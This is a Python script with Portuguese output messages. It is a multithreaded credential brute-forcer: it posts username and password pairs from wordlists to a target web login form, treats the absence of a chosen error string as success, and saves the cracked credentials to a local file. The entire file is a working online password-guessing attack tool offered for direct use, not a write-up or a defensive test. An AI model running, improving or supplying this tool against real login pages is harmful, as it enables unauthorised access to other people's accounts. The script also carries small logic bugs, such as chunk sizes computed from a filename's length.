import sys
import requests
from threading import Thread
import time

if(len(sys.argv) != 7):
    print("[!] Rode o comando simple-bruteforce.py com 6 argumentos. Para saber mais digite: 'python simple-bruteforce.py -h'")
    sys.exit("[!] Exemplo: simple-bruteforce.py HOST Chave_Usuario UserWordlist Chave_Senha PasswordWordlist ErrorMessage ")

host = sys.argv[1]
key_user = sys.argv[2]
user = sys.argv[3]
key_password = sys.argv[4]
password = sys.argv[5]
error_message = sys.argv[6]
user_and_password_flag = False
user_password = []

def WordOrUser(variable):
    if ('.txt' in variable):
        return True
    
    return False

def CheckFiles():
    arquivo_user = 1

    if(WordOrUser(user)):
        arquivo_user = True
    else:
        arquivo_user = False

    if(WordOrUser(password)):
        arquivo_password = True
    else:
        arquivo_password = False

    retorno = [arquivo_user,arquivo_password]
    return retorno

def ReadFiles(user,password):
    
    for user_teste in user:
        for pass_teste in password:

            print("[*] Testando: "+user_teste+" | "+pass_teste)
            
            retorno=Force(user_teste,pass_teste)

            if(retorno==True):
                print("==============================================")
                print("[!] Usuário: "+user_teste+" | Senha: "+pass_teste)
                print("[!] Você achou o usuário e senha correto.")
                sys.exit("==============================================")

def ReadPasswordFile(user,password):

    for pass_teste in password:

            print("[*] Testando: "+user+" | "+pass_teste)
            
            retorno=Force(user,pass_teste)

            if(retorno==True):
                print("==============================================")
                print("[!] Usuário: "+user+" | Senha: "+pass_teste)
                print("[!] Você achou o usuário e senha correto.")
                sys.exit("==============================================")

def ReadUserFile(user,password):
    
    for user_teste in user:
        print("[*] Testando: "+user_teste+" | "+password)
            
        retorno=Force(user_teste,password)

        if(retorno==True):
            print("==============================================")
            print("[!] Usuário: "+user_teste+" | Senha: "+password)
            print("[!] Você achou o usuário e senha correto.")
            sys.exit("==============================================")

def CreateFile(user,password):
    file = open("usuario_e_senha.txt","w")
    file.write("Usuario: "+user+" | Senha: "+password)
    file.close()

def Force(usuario,senha):
    objeto = {key_user : str(usuario), key_password: str(senha)}

    x = requests.post(host, data = objeto)
    
    if(x.text.find(error_message) != -1):
        return False
    else:
        CreateFile(usuario,senha)
        user_and_password_flag=True
        return True

def ListChunks(myList, numOfChunks):
    """ Yield successive n-sized chunks from myList."""
    """ Idea from (stackoverflow) : https://goo.gl/Hvnmx6 """
    for i in range(0, len(myList), numOfChunks):
        yield myList[i:i + numOfChunks]

def GenerateListFromDict(path_to_dict):
    with open(path_to_dict, "r") as f:
        dictionary = list(map(str.strip, f.readlines()))
    return dictionary

def InitDictUser():
    retorno = CheckFiles()
    listOfThreads = []
    resultList = []

    if(retorno[0]==True and retorno[1]==True):
        newDictionaryUser = list(ListChunks(GenerateListFromDict(user), (len(user) // 4)))
        newDictionaryPass = list(ListChunks(GenerateListFromDict(password), (len(password) // 4)))

        for sub_list in newDictionaryUser:
            for sub_list2 in newDictionaryPass:  
                listOfThreads.append(Thread(target=ReadFiles, args=(sub_list,sub_list2), daemon=True))
        
    elif(retorno[0]==False and retorno[1]==False):
        retorno = Force(user,password)
        if(retorno == True):
            print("==============================================")
            print("[!] Usuário: "+user+" | Senha: "+password)
            print("[!] Você achou o usuário e senha correto.")
            sys.exit("==============================================")
        else:
            print("==============================================")
            print("[!] Usuário: "+user+" | Senha: "+password)
            print("[!] Não foi possível encontrar o usuário e senha correto.")
            sys.exit("==============================================")
    elif(retorno[0]==False and retorno[1]==True):
        newDictionaryPass = list(ListChunks(GenerateListFromDict(password), (len(password) // 4)))
        
        for sub_list2 in newDictionaryPass:  
            listOfThreads.append(Thread(target=ReadPasswordFile, args=(user,sub_list2), daemon=True)) 
    elif(retorno[0]==True and retorno[1]==False):
        newDictionaryUser = list(ListChunks(GenerateListFromDict(user), (len(user) // 4)))

        for sub_list in newDictionaryUser:
            listOfThreads.append(Thread(target=ReadUserFile, args=(sub_list,password), daemon=True))

    #print(len(listOfThreads))    
    for thread in listOfThreads:
        thread.start()


InitDictUser()
